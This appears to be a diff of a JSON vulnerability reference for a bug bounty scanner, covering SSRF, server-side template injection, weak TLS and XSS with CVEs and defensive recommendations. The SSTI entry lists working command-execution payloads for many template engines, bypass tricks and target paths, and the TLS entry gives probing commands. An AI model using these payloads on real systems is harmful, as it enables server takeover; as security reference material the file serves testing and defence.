rebinding.\n5. Block non-HTTP(S) schemes (`file`, `gopher`, `dict`, `ftp`, `ldap`, `jar`) and unnecessary ports.\n6. In cloud environments, enforce IMDSv2 (token required), restrict hop limit, and apply least privilege to IAM roles.\n7. Segment the network: the service performing fetches should not be able to reach the control plane, databases, or metadata endpoints.\n8. Use an egress proxy with allowlist, authentication, and logging; inspect responses and enforce size/timeout limits.\n9. Java example:\n```java\nprivate static final Set ALLOWED_HOSTS = Set.of(\"images.alvo.com\", \"cdn.alvo.com\");\n\nURI uri = URI.create(userUrl);\nif (!\"https\".equalsIgnoreCase(uri.getScheme())) throw new IllegalArgumentException();\nif (!ALLOWED_HOSTS.contains(uri.getHost())) throw new IllegalArgumentException();\nInetAddress[] addrs = InetAddress.getAllByName(uri.getHost());\nfor (InetAddress a : addrs) {\n if (a.isLoopbackAddress() || a.isSiteLocalAddress() || a.isLinkLocalAddress()\n || a.isAnyLocalAddress() || a.isMulticastAddress()) {\n throw new IllegalArgumentException();\n }\n}\nHttpClient.newBuilder().followRedirects(HttpClient.Redirect.NEVER).build();\n```\n10. Monitor outbound requests targeting metadata endpoints and private IP ranges; alert on attempts.", - "notableCves": [ - { - "cve": "CVE-2021-26855", - "product": "Microsoft Exchange Server", - "year": 2021, - "description": "ProxyLogon -- SSRF pre-auth via endpoint /owa/auth/x.js permite acessar mailboxes arbitrarias e pivotar para RCE", - "type": "Pre-auth SSRF" - }, - { - "cve": "CVE-2021-21975", - "product": "VMware vRealize Operations", - "year": 2021, - "description": "SSRF na API permite ator com acesso de rede ler dados internos sem autenticacao", - "type": "Pre-auth SSRF" - }, - { - "cve": "CVE-2021-21973", - "product": "VMware vCenter Server", - "year": 2021, - "description": "SSRF via validacao impr. de URLs em plugin do vSphere Client (porta 443) -- permite scan de rede interna", - "type": "Pre-auth SSRF" - }, - { - "cve": "CVE-2021-40438", - "product": "Apache HTTP Server (mod_proxy)", - "year": 2021, - "description": "URI crafted faz mod_proxy encaminhar request para origin server escolhido pelo atacante -- afeta <= 2.4.48", - "type": "Proxy SSRF" - }, - { - "cve": "CVE-2022-22947", - "product": "Spring Cloud Gateway", - "year": 2022, - "description": "Code injection via Gateway Actuator endpoint exposto permite RCE e SSRF em versoes < 3.1.1+ e < 3.0.7+", - "type": "Actuator SSRF" - }, - { - "cve": "CVE-2022-41040", - "product": "Microsoft Exchange Server", - "year": 2022, - "description": "ProxyNotShell -- SSRF autenticada combinada com CVE-2022-41082 para RCE; bypass do patch do ProxyLogon", - "type": "Auth SSRF + RCE" - }, - { - "cve": "CVE-2024-21893", - "product": "Ivanti Connect Secure / Policy Secure", - "year": 2024, - "description": "SSRF no componente SAML permite acessar recursos restritos sem autenticacao", - "type": "SAML SSRF" - }, - { - "cve": "CVE-2020-13379", - "product": "Grafana 3.0.1 -- 7.0.1", - "year": 2020, - "description": "SSRF na feature de avatar permite qualquer usuario nao autenticado forcar Grafana a enviar HTTP requests para URLs arbitrarias", - "type": "Avatar SSRF" - }, - { - "cve": "CVE-2020-26258", - "product": "XStream < 1.4.15", - "year": 2020, - "description": "SSRF ativada durante unmarshalling de XML -- permite leitura de recursos internos via desserializacao", - "type": "Deserialization SSRF" - }, - { - "cve": "CVE-2020-28168", - "product": "Axios NPM 0.21.0", - "year": 2020, - "description": "Bypass de proxy via URL que responde com redirect para host restrito -- permite SSRF client-side", - "type": "Redirect SSRF" - } - ] - }, - "ssti": { - "title": "Server-Side Template Injection", - "module": "SSTI", - "severity": "CRITICAL", - "cweId": "CWE-94", - "cweTitle": "Improper Control of Generation of Code ('Code Injection')", - "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", - "vrtId": "injection.remote_code_execution.server_side_template_injection", - "summary": "User input is concatenated into server-side templates, enabling expression evaluation and, in most cases, full remote code execution on the server. Affects FreeMarker, Jinja2, Twig, Velocity, Thymeleaf, Smarty, ERB, and other engines.", - "description": "Template engines evaluate expressions on the server. If the user controls the template itself (not just the data), they can execute arbitrary logic: read environment variables and files, execute OS commands, and pivot across the network. The classic mistake is `render(\"Hello \" + name)` instead of `render(\"Hello {{ name }}\", {name: name})`.\n\nDetection uses engine-specific math expressions. A result of `49` for `7*7` confirms server-side evaluation. From there, the attacker escalates to internal objects, reflection, and command execution.\n\nEngines and detection payloads:\n- Jinja2/Twig: `{{7*7}}`, `{{7*'7'}}`.\n- FreeMarker: `${7*7}`, `<#assign x=7*7>${x}`.\n- Velocity: `#set($x=7*7)$x`.\n- Thymeleaf: `${7*7}`, `[[${7*7}]]`.\n- ERB: `<%= 7*7 %>`.\n- Smarty: `{7*7}`, `{math equation=\"7*7\"}`.\n- Spring EL: `${7*7}`, `#{7*7}`.\n- Mako: `${7*7}`.\n- Handlebars: `{{#with \"s\" as |string|}}...` (less common for direct RCE).", - "impact": "- Remote code execution on the server (RCE).\n- Read files, environment variables, and secrets.\n- Lateral movement, access to databases and internal services.\n- Data modification, destruction, and persistence.\n- Full host/container compromise; impact is CRITICAL.", - "payloads": [ - "# Detecção", - "{{7*7}}", - "${7*7}", - "#{7*7}", - "%{7*7}", - "*{7*7}", - "@(7*7)", - "<%= 7*7 %>", - "{7*7}", - "{{7*'7'}}", - "${{7*7}}", - "[[${7*7}]]", - "# Jinja2 (Python)", - "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}", - "{{ ''.__class__.__mro__[1].__subclasses__() }}", - "{{ cycler.__init__.__globals__.os.popen('id').read() }}", - "{{ lipsum.__globals__[\"os\"].popen(\"id\").read() }}", - "{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}", - "# Twig (PHP)", - "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}", - "{{['id']|filter('system')}}", - "{{['id',0]|sort('system')}}", - "# FreeMarker (Java)", - "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}", - "${\"freemarker.template.utility.Execute\"?new()(\"id\")}", - "<#assign classloader=product.class.protectionDomain.classLoader>", - "<#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")>", - "# Velocity (Java)", - "#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()", - "#set($e=\"e\")$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"id\")", - "# Thymeleaf / Spring EL (Java)", - "${T(java.lang.Runtime).getRuntime().exec('id')}", - "${T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"})}", - "[[${T(java.lang.Runtime).getRuntime().exec('id')}]]", - "# ERB (Ruby)", - "<%= system('id') %>", - "<%= `id` %>", - "<%= IO.popen('id').read %>", - "# Smarty (PHP)", - "{php}echo `id`;{/php}", - "{system('id')}", - "- Concatenação: {{'a'+'b'}}, ${\"ja\"+\"va.lang.Runtime\"}", - "- Codificação: %7B%7B7*7%7D%7D, \\u007b\\u007b7*7\\u007d\\u007d", - "- Comentários: {{7*7}}, {{7*7}}{#comment#}", - "- Alternar delimitadores: ${...}, #{...}, [[...]]", - "- Acesso via atributos/reflexão em vez de nomes bloqueados", - "- Usar `attr`, `request`, `config`, `self`, `cycler`, `lipsum` para alcançar objetos", - "- `__builtins__`, `__globals__`, `__subclasses__` com índices variáveis", - "- Payloads sem espaços usando `%09`, `%0a`, comentários" - ], - "crawlerHints": { - "parameters": [ - "name", - "message", - "subject", - "template", - "preview", - "content", - "body", - "title", - "email", - "username", - "comment", - "description", - "lang", - "theme" - ], - "paths": [ - "/preview", - "/render", - "/email/preview", - "/template", - "/report", - "/invoice", - "/notification", - "/admin/templates", - "/api/render" - ] + "ssti": { + "title": "Server-Side Template Injection", + "module": "SSTI", + "severity": "CRITICAL", + "cweId": "CWE-94", + "cweTitle": "Improper Control of Generation of Code ('Code Injection')", + "cvssVector": "AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", + "vrtId": "injection.remote_code_execution.server_side_template_injection", + "summary": "User input is concatenated into server-side templates, enabling expression evaluation and, in most cases, full remote code execution on the server. Affects FreeMarker, Jinja2, Twig, Velocity, Thymeleaf, Smarty, ERB, and other engines.", + "description": "Template engines evaluate expressions on the server. If the user controls the template itself (not just the data), they can execute arbitrary logic: read environment variables and files, execute OS commands, and pivot across the network. The classic mistake is `render(\"Hello \" + name)` instead of `render(\"Hello {{ name }}\", {name: name})`.\n\nDetection uses engine-specific math expressions. A result of `49` for `7*7` confirms server-side evaluation. From there, the attacker escalates to internal objects, reflection, and command execution.\n\nEngines and detection payloads:\n- Jinja2/Twig: `{{7*7}}`, `{{7*'7'}}`.\n- FreeMarker: `${7*7}`, `<#assign x=7*7>${x}`.\n- Velocity: `#set($x=7*7)$x`.\n- Thymeleaf: `${7*7}`, `[[${7*7}]]`.\n- ERB: `<%= 7*7 %>`.\n- Smarty: `{7*7}`, `{math equation=\"7*7\"}`.\n- Spring EL: `${7*7}`, `#{7*7}`.\n- Mako: `${7*7}`.\n- Handlebars: `{{#with \"s\" as |string|}}...` (less common for direct RCE).", + "impact": "- Remote code execution on the server (RCE).\n- Read files, environment variables, and secrets.\n- Lateral movement, access to databases and internal services.\n- Data modification, destruction, and persistence.\n- Full host/container compromise; impact is CRITICAL.", + "payloads": [ + "# Detecção", + "{{7*7}}", + "${7*7}", + "#{7*7}", + "%{7*7}", + "*{7*7}", + "@(7*7)", + "<%= 7*7 %>", + "{7*7}", + "{{7*'7'}}", + "${{7*7}}", + "[[${7*7}]]", + "# Jinja2 (Python)", + "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}", + "{{ ''.__class__.__mro__[1].__subclasses__() }}", + "{{ cycler.__init__.__globals__.os.popen('id').read() }}", + "{{ lipsum.__globals__[\"os\"].popen(\"id\").read() }}", + "{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}", + "# Twig (PHP)", + "{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}", + "{{['id']|filter('system')}}", + "{{['id',0]|sort('system')}}", + "# FreeMarker (Java)", + "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}", + "${\"freemarker.template.utility.Execute\"?new()(\"id\")}", + "<#assign classloader=product.class.protectionDomain.classLoader>", + "<#assign owc=classloader.loadClass(\"freemarker.template.ObjectWrapper\")>", + "# Velocity (Java)", + "#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()", + "#set($e=\"e\")$e.getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"id\")", + "# Thymeleaf / Spring EL (Java)", + "${T(java.lang.Runtime).getRuntime().exec('id')}", + "${T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"})}", + "[[${T(java.lang.Runtime).getRuntime().exec('id')}]]", + "# ERB (Ruby)", + "<%= system('id') %>", + "<%= `id` %>", + "<%= IO.popen('id').read %>", + "# Smarty (PHP)", + "{php}echo `id`;{/php}", + "{system('id')}", + "- Concatenação: {{'a'+'b'}}, ${\"ja\"+\"va.lang.Runtime\"}", + "- Codificação: %7B%7B7*7%7D%7D, \\u007b\\u007b7*7\\u007d\\u007d", + "- Comentários: {{7*7}}, {{7*7}}{#comment#}", + "- Alternar delimitadores: ${...}, #{...}, [[...]]", + "- Acesso via atributos/reflexão em vez de nomes bloqueados", + "- Usar `attr`, `request`, `config`, `self`, `cycler`, `lipsum` para alcançar objetos", + "- `__builtins__`, `__globals__`, `__subclasses__` com índices variáveis", + "- Payloads sem espaços usando `%09`, `%0a`, comentários" + ], + "crawlerHints": { + "parameters": [ + "name", + "message", + "subject", + "template", + "preview", + "content", + "body", + "title", + "email", + "username", + "comment", + "description", + "lang", + "theme" + ], + "paths": [ + "/preview", + "/render", + "/email/preview", + "/template", + "/report", + "/invoice", + "/notification", + "/admin/templates", + "/api/render" + ] + }, + "recommendation": "1. Never concatenate user input into the template string. Pass data as template variables and enable auto-escaping.\n2. Prefer logic-less templates (Mustache) when possible; avoid engines that allow method calls and reflection.\n3. Enable the engine's sandbox mode (Jinja2 `SandboxedEnvironment`, FreeMarker `TemplateClassResolver.SAFER_RESOLVER`, Velocity `SecureUberspector`).\n4. Restrict accessible classes and methods; disable `Runtime`, `ProcessBuilder`, reflection, and dynamic class loading.\n5. Validate and constrain input; do not allow users to edit templates without administrative privilege.\n6. Execute rendering in an isolated process or container without network or filesystem access, enforced with seccomp/AppArmor.\n7. Keep template engines and libraries up to date; many exploit chains depend on known gadgets.\n8. Secure Jinja2 example:\n```python\nfrom jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment(autoescape=True)\ntemplate = env.from_string(\"Hello {{ name }}\")\nreturn template.render(name=user_input)\n```\n9. Monitor for payloads containing `{{`, `${`, `<#`, `#set`, `T(`, `Runtime`, `__class__`, `__globals__`.", + "notableCves": [ + { + "cve": "CVE-2019-3396", + "product": "Confluence Server", + "year": 2019, + "description": "SSTI via Widget Connector macro -- path traversal + RCE sem autenticacao", + "type": "Velocity (RCE)" + }, + { + "cve": "CVE-2019-11581", + "product": "Jira Server", + "year": 2019, + "description": "SSTI em ContactAdministrators e SendBulkMail -- RCE via template Velocity", + "type": "Velocity (RCE)" + }, + { + "cve": "CVE-2019-8341", + "product": "Jinja2", + "year": 2019, + "description": "SSTI em from_string() quando source vem de input do usuario -- RCE em Python", + "type": "Jinja2 (RCE)" + }, + { + "cve": "CVE-2019-10074", + "product": "Apache OFBiz", + "year": 2019, + "description": "RCE via Freemarker markup em campo textarea de Form Widget", + "type": "Freemarker (RCE)" + }, + { + "cve": "CVE-2020-11994", + "product": "Apache Camel", + "year": 2020, + "description": "SSTI nos componentes de templating -- file disclosure e RCE", + "type": "Multi-engine (RCE)" + }, + { + "cve": "CVE-2020-1961", + "product": "Apache Syncope", + "year": 2020, + "description": "SSTI em mail templates -- injeccao de template em notificacoes", + "type": "Multi-engine (RCE)" + }, + { + "cve": "CVE-2021-39115", + "product": "Jira Service Management", + "year": 2021, + "description": "RCE via template injection para usuarios Jira Administrators", + "type": "Velocity (RCE)" + }, + { + "cve": "CVE-2022-22954", + "product": "VMware Workspace ONE", + "year": 2022, + "description": "RCE pre-auth via server-side template injection -- explorado in-the-wild", + "type": "Server-side (RCE)" + }, + { + "cve": "CVE-2023-22527", + "product": "Confluence Data Center", + "year": 2024, + "description": "Template injection pre-auth em versoes antigas -- RCE sem credenciais", + "type": "OGNL (RCE)" + } + ] }, - "recommendation": "1. Never concatenate user input into the template string. Pass data as template variables and enable auto-escaping.\n2. Prefer logic-less templates (Mustache) when possible; avoid engines that allow method calls and reflection.\n3. Enable the engine's sandbox mode (Jinja2 `SandboxedEnvironment`, FreeMarker `TemplateClassResolver.SAFER_RESOLVER`, Velocity `SecureUberspector`).\n4. Restrict accessible classes and methods; disable `Runtime`, `ProcessBuilder`, reflection, and dynamic class loading.\n5. Validate and constrain input; do not allow users to edit templates without administrative privilege.\n6. Execute rendering in an isolated process or container without network or filesystem access, enforced with seccomp/AppArmor.\n7. Keep template engines and libraries up to date; many exploit chains depend on known gadgets.\n8. Secure Jinja2 example:\n```python\nfrom jinja2.sandbox import SandboxedEnvironment\nenv = SandboxedEnvironment(autoescape=True)\ntemplate = env.from_string(\"Hello {{ name }}\")\nreturn template.render(name=user_input)\n```\n9. Monitor for payloads containing `{{`, `${`, `<#`, `#set`, `T(`, `Runtime`, `__class__`, `__globals__`.", - "notableCves": [ - { - "cve": "CVE-2019-3396", - "product": "Confluence Server", - "year": 2019, - "description": "SSTI via Widget Connector macro -- path traversal + RCE sem autenticacao", - "type": "Velocity (RCE)" - }, - { - "cve": "CVE-2019-11581", - "product": "Jira Server", - "year": 2019, - "description": "SSTI em ContactAdministrators e SendBulkMail -- RCE via template Velocity", - "type": "Velocity (RCE)" - }, - { - "cve": "CVE-2019-8341", - "product": "Jinja2", - "year": 2019, - "description": "SSTI em from_string() quando source vem de input do usuario -- RCE em Python", - "type": "Jinja2 (RCE)" - }, - { - "cve": "CVE-2019-10074", - "product": "Apache OFBiz", - "year": 2019, - "description": "RCE via Freemarker markup em campo textarea de Form Widget", - "type": "Freemarker (RCE)" - }, - { - "cve": "CVE-2020-11994", - "product": "Apache Camel", - "year": 2020, - "description": "SSTI nos componentes de templating -- file disclosure e RCE", - "type": "Multi-engine (RCE)" - }, - { - "cve": "CVE-2020-1961", - "product": "Apache Syncope", - "year": 2020, - "description": "SSTI em mail templates -- injeccao de template em notificacoes", - "type": "Multi-engine (RCE)" - }, - { - "cve": "CVE-2021-39115", - "product": "Jira Service Management", - "year": 2021, - "description": "RCE via template injection para usuarios Jira Administrators", - "type": "Velocity (RCE)" - }, - { - "cve": "CVE-2022-22954", - "product": "VMware Workspace ONE", - "year": 2022, - "description": "RCE pre-auth via server-side template injection -- explorado in-the-wild", - "type": "Server-side (RCE)" - }, - { - "cve": "CVE-2023-22527", - "product": "Confluence Data Center", - "year": 2024, - "description": "Template injection pre-auth em versoes antigas -- RCE sem credenciais", - "type": "OGNL (RCE)" - } - ] - }, - "tls_weak_configuration": { - "title": "Weak TLS Configuration", - "module": "TLS", - "severity": "MEDIUM", - "cweId": "CWE-326", - "cweTitle": "Inadequate Encryption Strength", - "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", - "vrtId": "cryptography_issues.weak_tls", - "summary": "TLS configuration that accepts obsolete protocol versions, weak cipher suites, or invalid certificates enables protocol downgrade attacks and traffic interception, compromising the confidentiality of credentials, tokens, and personal data in transit.", - "description": "TLS protects the confidentiality and integrity of the communication channel between client and server through a handshake that negotiates the protocol version, cipher suite, and server authentication. When the server still accepts SSLv3, TLS 1.0, or TLS 1.1, or permits cipher suites without forward secrecy (static RSA key exchange), RC4, 3DES, CBC with weak MAC, or NULL ciphers, an attacker in a network position can force a downgrade, exploit known weaknesses (BEAST, POODLE, SWEET32, Lucky13), or break the session at reduced cost.\n\nThe flaw also manifests through expired certificates, hostname mismatches, incomplete certificate chains, short RSA keys, missing OCSP stapling, and legacy protocols enabled on alternative ports (8443, 9443, 993, 995, 465, 587). From a bug bounty perspective, the finding is typically accepted when there is demonstrable impact: session capture, acceptance of export-grade ciphers, an invalid certificate on an authenticated endpoint, or TLS 1.0 on a payment flow.", - "impact": "- Interception and decryption of sensitive traffic (credentials, cookies, JWTs, payment card data, PII).\n- Downgrade attacks and SSL stripping against users on hostile networks.\n- Non-compliance with PCI DSS, GDPR, HIPAA, and vendor security requirements.\n- Server impersonation when the certificate is invalid or validation is disabled.\n- Reputational damage and loss of customer trust; depending on the affected flow, severity escalates to HIGH.", - "payloads": [ - "# Enumeração de versões e cifras", - "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1", - "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_1", - "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_2", - "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_3", - "# Cifras fracas / ausência de PFS", - "openssl s_client -connect alvo.com:443 -cipher 'RC4-SHA'", - "openssl s_client -connect alvo.com:443 -cipher 'DES-CBC3-SHA'", - "openssl s_client -connect alvo.com:443 -cipher 'TLS_RSA_WITH_AES_128_CBC_SHA'", - "# Certificado", - "openssl s_client -connect alvo.com:443 -servername alvo.com /dev/null \\", - " | openssl x509 -noout -subject -issuer -dates -serial -fingerprint -sha256", - "# Ferramentas de varredura", - "nmap --script ssl-enum-ciphers -p 443,8443 alvo.com", - "testssl.sh --severity HIGH --fast alvo.com", - "sslyze --regular alvo.com", - "- Portas alternativas com o mesmo serviço: 443, 8443, 9443, 993, 995, 465, 587, 636", - "- SNI diferente do Host (vhosts internos)", - "- Handshake sem SNI (-noservername) para obter o certificado default", - "- TLS 1.0/1.1 habilitado apenas em endpoints legados (/api/v1, /payment)", - "- Certificado válido no apex, mas inválido em subdomínio ou wildcard incompleto", - "- Cadeia incompleta que falha em clientes estritos, mas passa no navegador", - "- Cipher suites com chave < 2048 bits ou certificado SHA-1" - ], - "crawlerHints": { - "parameters": [], - "paths": [ - "/login", - "/oauth/token", - "/api/*", - "/payment", - "/admin", - "/graphql" - ] + "tls_weak_configuration": { + "title": "Weak TLS Configuration", + "module": "TLS", + "severity": "MEDIUM", + "cweId": "CWE-326", + "cweTitle": "Inadequate Encryption Strength", + "cvssVector": "AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", + "vrtId": "cryptography_issues.weak_tls", + "summary": "TLS configuration that accepts obsolete protocol versions, weak cipher suites, or invalid certificates enables protocol downgrade attacks and traffic interception, compromising the confidentiality of credentials, tokens, and personal data in transit.", + "description": "TLS protects the confidentiality and integrity of the communication channel between client and server through a handshake that negotiates the protocol version, cipher suite, and server authentication. When the server still accepts SSLv3, TLS 1.0, or TLS 1.1, or permits cipher suites without forward secrecy (static RSA key exchange), RC4, 3DES, CBC with weak MAC, or NULL ciphers, an attacker in a network position can force a downgrade, exploit known weaknesses (BEAST, POODLE, SWEET32, Lucky13), or break the session at reduced cost.\n\nThe flaw also manifests through expired certificates, hostname mismatches, incomplete certificate chains, short RSA keys, missing OCSP stapling, and legacy protocols enabled on alternative ports (8443, 9443, 993, 995, 465, 587). From a bug bounty perspective, the finding is typically accepted when there is demonstrable impact: session capture, acceptance of export-grade ciphers, an invalid certificate on an authenticated endpoint, or TLS 1.0 on a payment flow.", + "impact": "- Interception and decryption of sensitive traffic (credentials, cookies, JWTs, payment card data, PII).\n- Downgrade attacks and SSL stripping against users on hostile networks.\n- Non-compliance with PCI DSS, GDPR, HIPAA, and vendor security requirements.\n- Server impersonation when the certificate is invalid or validation is disabled.\n- Reputational damage and loss of customer trust; depending on the affected flow, severity escalates to HIGH.", + "payloads": [ + "# Enumeração de versões e cifras", + "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1", + "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_1", + "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_2", + "openssl s_client -connect alvo.com:443 -servername alvo.com -tls1_3", + "# Cifras fracas / ausência de PFS", + "openssl s_client -connect alvo.com:443 -cipher 'RC4-SHA'", + "openssl s_client -connect alvo.com:443 -cipher 'DES-CBC3-SHA'", + "openssl s_client -connect alvo.com:443 -cipher 'TLS_RSA_WITH_AES_128_CBC_SHA'", + "# Certificado", + "openssl s_client -connect alvo.com:443 -servername alvo.com /dev/null \\", + " | openssl x509 -noout -subject -issuer -dates -serial -fingerprint -sha256", + "# Ferramentas de varredura", + "nmap --script ssl-enum-ciphers -p 443,8443 alvo.com", + "testssl.sh --severity HIGH --fast alvo.com", + "sslyze --regular alvo.com", + "- Portas alternativas com o mesmo serviço: 443, 8443, 9443, 993, 995, 465, 587, 636", + "- SNI diferente do Host (vhosts internos)", + "- Handshake sem SNI (-noservername) para obter o certificado default", + "- TLS 1.0/1.1 habilitado apenas em endpoints legados (/api/v1, /payment)", + "- Certificado válido no apex, mas inválido em subdomínio ou wildcard incompleto", + "- Cadeia incompleta que falha em clientes estritos, mas passa no navegador", + "- Cipher suites com chave < 2048 bits ou certificado SHA-1" + ], + "crawlerHints": { + "parameters": [], + "paths": [ + "/login", + "/oauth/token", + "/api/*", + "/payment", + "/admin", + "/graphql" + ] + }, + "recommendation": "1. Disable SSLv3, TLS 1.0, and TLS 1.1. Accept only TLS 1.2 and TLS 1.3.\n2. Restrict cipher suites to AEAD with forward secrecy: `ECDHE-ECDSA-AES128-GCM-SHA256`, `ECDHE-RSA-AES128-GCM-SHA256`, `ECDHE-ECDSA-AES256-GCM-SHA384`, `ECDHE-RSA-AES256-GCM-SHA384`, `TLS_AES_128_GCM_SHA256`, `TLS_AES_256_GCM_SHA384`, `TLS_CHACHA20_POLY1305_SHA256`.\n3. Disable RC4, 3DES, NULL, EXPORT, non-AEAD CBC, and static RSA key exchange.\n4. Use certificates with RSA >= 2048 bits or ECDSA P-256/P-384, with automated renewal (ACME), OCSP stapling, and a complete chain.\n5. Apply HSTS with a long `max-age` after validating all subdomains.\n6. Monitor for certificate expiration and configuration regressions with continuous testing (`testssl.sh`, `sslyze`) in CI/CD.\n\nExample Nginx configuration:\n```nginx\nssl_protocols TLSv1.2 TLSv1.3;\nssl_prefer_server_ciphers off;\nssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';\nssl_session_tickets off;\nssl_stapling on;\nssl_stapling_verify on;\nadd_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\n```\n\nExample Java/Spring Boot configuration:\n```yaml\nserver:\n ssl:\n enabled: true\n enabled-protocols: TLSv1.3,TLSv1.2\n ciphers:\n - TLS_AES_256_GCM_SHA384\n - TLS_CHACHA20_POLY1305_SHA256\n - TLS_AES_128_GCM_SHA256\n - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\n - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\n```\n\nFor internal APIs, use mTLS and certificate rotation. For databases and message brokers, apply the same policy and disable legacy protocol listeners.", + "notableCves": [] }, - "recommendation": "1. Disable SSLv3, TLS 1.0, and TLS 1.1. Accept only TLS 1.2 and TLS 1.3.\n2. Restrict cipher suites to AEAD with forward secrecy: `ECDHE-ECDSA-AES128-GCM-SHA256`, `ECDHE-RSA-AES128-GCM-SHA256`, `ECDHE-ECDSA-AES256-GCM-SHA384`, `ECDHE-RSA-AES256-GCM-SHA384`, `TLS_AES_128_GCM_SHA256`, `TLS_AES_256_GCM_SHA384`, `TLS_CHACHA20_POLY1305_SHA256`.\n3. Disable RC4, 3DES, NULL, EXPORT, non-AEAD CBC, and static RSA key exchange.\n4. Use certificates with RSA >= 2048 bits or ECDSA P-256/P-384, with automated renewal (ACME), OCSP stapling, and a complete chain.\n5. Apply HSTS with a long `max-age` after validating all subdomains.\n6. Monitor for certificate expiration and configuration regressions with continuous testing (`testssl.sh`, `sslyze`) in CI/CD.\n\nExample Nginx configuration:\n```nginx\nssl_protocols TLSv1.2 TLSv1.3;\nssl_prefer_server_ciphers off;\nssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';\nssl_session_tickets off;\nssl_stapling on;\nssl_stapling_verify on;\nadd_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;\n```\n\nExample Java/Spring Boot configuration:\n```yaml\nserver:\n ssl:\n enabled: true\n enabled-protocols: TLSv1.3,TLSv1.2\n ciphers:\n - TLS_AES_256_GCM_SHA384\n - TLS_CHACHA20_POLY1305_SHA256\n - TLS_AES_128_GCM_SHA256\n - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\n - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\n```\n\nFor internal APIs, use mTLS and certificate rotation. For databases and message brokers, apply the same policy and disable legacy protocol listeners.", - "notableCves": [] - }, - "xss": { - "title": "Cross-Site Scripting", - "module": "XSS", - "severity": "CRITICAL", - "cweId": "CWE-79", - "cweTitle": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", - "cvssVector": "AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", - "vrtId": "cross_site_scripting_xss.reflected_xss", - "summary": "User input is rendered without proper context-sensitive encoding in HTML, attributes, JavaScript, or URL contexts, allowing arbitrary script execution in the victim's browser to steal sessions, tokens, and sensitive data.", - "description": "Cross-Site Scripting occurs when the application reflects or stores attacker-controlled data without escaping it for the correct output context. Types:\n\n- **Reflected:** The payload in the request is echoed back in the response (search, error pages, URL parameters).\n- **Stored:** The payload persists (comments, profiles, filenames, support tickets) and fires when other users view the content.\n- **DOM-based:** An insecure JavaScript sink (`innerHTML`, `document.write`, `eval`, `location`, `jQuery.html`) processes a controllable source (`location.hash`, `postMessage`, `referrer`).\n- **Blind XSS:** The payload executes in an admin panel or log viewer, with no visible reflection to the attacker.\n\nContext matters: HTML body (`
...
`), attribute (`value=\"...\"`), JavaScript (`var x='...'`), URL (`href=\"...\"`), CSS, and JSON each require different encoding. CSP and `HttpOnly` reduce impact but are not substitutes for output encoding.", - "impact": "- Session cookie theft (when `HttpOnly` is not set) and token exfiltration from `localStorage`.\n- Actions on behalf of the victim, CSRF bypass, and full account takeover.\n- Defacement, phishing, and malware distribution via the trusted domain.\n- Data exfiltration and keylogging.\n- XSS in admin panels can escalate to RCE through administrative functionality.\n- Impact is CRITICAL for stored/admin-context XSS; reflected XSS ranges from MEDIUM to HIGH.", - "payloads": [ - "", - "", - "", - "", - "", - "", - "
", - "